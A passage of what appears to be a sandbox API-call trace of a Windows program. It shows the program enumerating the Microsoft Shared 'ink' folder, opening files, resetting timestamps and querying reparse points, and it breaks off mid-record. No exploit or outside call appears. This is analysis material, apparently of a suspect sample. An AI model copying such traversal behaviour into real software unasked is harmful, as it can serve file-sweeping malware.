RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.184] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.184] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0232.184] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0232.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.184] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.184] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.184] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.184] NtClose (Handle=0x1b0) returned 0x0 [0232.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.185] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.209] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.212] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7388 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f56c8 [0232.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.212] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0232.212] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0232.212] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f73a8 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5750 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f73c8 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe410 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.213] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0232.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f73e8 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe518 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7408 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7428 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f57d8 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x8f7610 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7448 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe620 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7468 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5860 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] FindNextFileW (in: hFindFile=0x4fd560, 